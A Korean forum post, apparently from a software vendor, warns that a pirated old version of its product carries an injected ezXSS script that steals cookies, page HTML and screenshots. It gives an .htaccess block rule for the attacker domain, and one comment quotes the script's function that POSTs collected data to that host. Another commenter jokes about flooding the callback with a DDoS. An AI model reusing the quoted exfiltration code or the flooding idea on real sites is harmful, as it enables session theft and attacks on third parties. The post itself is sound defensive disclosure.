[주의] 최근 무단 배포된 파일 XSS공격 코드 확인 정보
[주의] 최근 무단 배포된 파일 XSS공격 코드 확인
본문
안녕하세요.
최근 무단 배포된 파일을 제보받아 금일 확인하였습니다.
소스코드 확인결과
보안 강화 (SQL Injection 취약점 개선, XSS 취약점 개선) 패치 이전의 버전 (1.0.2) 으로 추정되며
비 멤버십 회원이 구매 > 수정하여 무단 배포한 것으로 추측 됩니다.
아울러, 무단배포된 파일을 다운로드 하셔서 사용중이시라면
즉시 사용을 중단해주세요.
입력폼 등에 스크립트가 심어져 있는것을 확인하였습니다.
원본코드 (정상)
무단배포된 코드 (naver 도메인으로 스크립트가 심어져 있습니다.)
해당 스크립트는 ezXSS라는 XSS 탐지 도구 입니다.
공격자가 이를 활용하여 피싱, 세션 탈취, 키로깅, 크립토재킹 등의 공격을 수행할 수 있습니다.
1. 웹사이트 방문자의 세션 및 개인정보 유출
2. 관리자 계정이 공격당할 가능성 증가
3. 웹페이지 변조 또는 자동 리디렉션
@고돌스 님 께서 알려주셨습니다. (탈취되는 정보)
dom: "전체 HTML",
cookie: "세션 ID",
screenshot: "Base64 이미지 데이터",
user-agent: "브라우저 정보",
차단방법
* 해당 도메인(naver.ez.pe)을 웹 방화벽(WAF) 또는 보안 시스템에서 차단
* .htaccess 파일에 다음 코드를 추가하여 해당 스크립트 차단
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} naver.ez.pe [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ezXSS [NC]
RewriteRule .* - [F,L]
</IfModule>
무단으로 배포되는 파일은 절대 사용하지 마시고,
사용하셨다면 즉각 폐기처리 해주세요.
4
댓글 31개

상상도 못한 전개군요...

@미니님a 다행 이라고 해야될런지,, 참.. 애매하네요..
무단배포 파일을 쓰시는 분이 없기를 바래봅니다..ㅠ

@펄스나인 저도 속으로만 생각했던 멘트였습니다.
한편으론 다행이네요 라는 한 문장.... ㅎ

@미니님a ㅎㅎ.. 그래도 좀 쓰리네요..
ssl인증서 정보로 보아 3월 2일+90일로 되어있네용.
This website contacted 1 IPs in 1 countries across 1 domains to perform 2 HTTP transactions. The main IP is 104.21.50.90, located in and belongs to CLOUDFLARENET, US. The main domain is naver.ez.pe.
TLS certificate: Issued by WE1 on March 2nd 2025. Valid for: 3 months.
아래는 urlscan.io의 결과 스샷입니다.
혹시 궁금하신 분들이 접속하실지도 모르겠지만 curl로 헤더정보만 받아오시길. 본문은 받으심 아니됩니다.

@고돌스 감사합니다, 정성스러운 저 그림이 참.. 보기싫네요..
코드중 아래 부분이 핵심인것으로 보여집니다.
// 데이터 수집 내용
ez_rD = {
dom: "전체 HTML",
cookie: "세션 ID",
screenshot: "Base64 이미지 데이터",
user-agent: "브라우저 정보",
payload: "//naver.ez.pe/" <= 악성 서버 주소
};
// 데이터 전송 함수
function ez_cb(t, e) {
var n = new XMLHttpRequest();
n.open("POST", "https://naver.ez.pe/callback", true); n.setRequestHeader("Content-Type", "text/plain");
n.send(JSON.stringify(t)); <= 수집된 데이터 전송
}

@고돌스 캡쳐도하는....ㄷㄷ..
@펄스나인 ez_persist 함수로 브라우저 스토리지에 영구 저장하는 것이랑 window.onload시 사용자 클릭시 지속적 이벤트 로깅후 전송이랑 세션스토리지/로컬스토리지 수집 기능도 있네요. 현재 페이지 URL(location.toString()), 사용자IP, iframe 로딩 여부까지.
한마디로 환장파티.. 힘내세요. 꼭 잡히면 좋겠습니다.

@고돌스 심각하네요,, 감사합니다.. ㅠ
나쁜 사람이 참 많네요.
힘내세요

@초록물고기 네..ㅠ 감사합니다!

에고 고생하셨습니다.

@똥싼너구리 ㅠㅠ..

스크린샷은 뭔가요 바탕 화면 컴퓨터 데스크탑 그거까지 전체 화면 스크린샷 해 간다는 건가요?

@울라프
보이는대로 떠서 base64 로 전송하는거같네요,,
에디터만들면서 이미지저장기능 구현하면서 잠깐 해봤는데 원하는 영역을 그대로 base64 로 만드는건 쉽더라구요..

그럼 굳이 저 해킹 툴뿐만이 아니라도 인터넷에서 클릭 잘못하면 자기 화면 캡처 떠 가지고 상대방 에게 보내지는 건가요?

@울라프 브라우저 내부의 요소라면 충분히 가능합니다 ㅠ
바탕화면을 포함한다거나 이런건 안될거에요

@울라프 이미지에 코드 심어 데이터 URL 스킴을 정상적인 URL로 가장해서 브라우저에 이미지 한장 띄우면 간단한 일이죠. 설명이니 이미지라 표현하는 거지 링크 누르는 즉시 실행가능한 방법도 많아요.
늘 조심조심.

와..무섭네요..
범인 잡았으면 좋겠네요

@DawnDew 네네 ㅠ

여러모로 속 시끄럽고 고생 많으십니다 ㅠㅠ

@쪼각조각 네.. 주말동안 너무 분잡했네요...ㅠ
걱정해주셔서 감사합니다 ㅠ

// 데이터 전송 함수
function ez_cb(t, e) {
var n = new XMLHttpRequest();
n.open("POST", "https://naver.ez.pe/callback", true); n.setRequestHeader("Content-Type", "text/plain");
n.send(JSON.stringify(t)); <= 수집된 데이터 전송
}
이곳으로 대량의 디도스 공격을 보내버리는 방법도 있겠군요 ㅎㅎ
더미 데이터들 쫙 넣어서 ㅎㅎ


근데 이렇게 무모한 짓을 왜 했을까요? 이 이슈의 흐름을 보면 대체 왜? 라는 생각이 절로 듭니다.

@Gothrock 네.. 저도 그렇네요...
손해를 보더라도 악성유저는 만들지말자는 모토로 운영을 하고있고..
틀어지거나 문제가 있었던 분도 안계시는데, 답답할 따름이네요..ㅎㅎ..
그야말로 계엄 상황이네요....하루 빨리 마무리되어 평안을 되찾으셨으면 합니다......

@감독님 네네 감사합니다 ㅠㅠ
최근에 올리신 글이 삭제되었군요.
모쪼록 정상화 되길 바래봅니다.

@지니아이 네 규제정책에 의해 삭제된것같습니다..
댓글 20개를 못보고 답변을 못드린게 좀 아쉽네요..
일부러 다른 게시물까지 찾으셔서 댓글주심에 고맙습니다.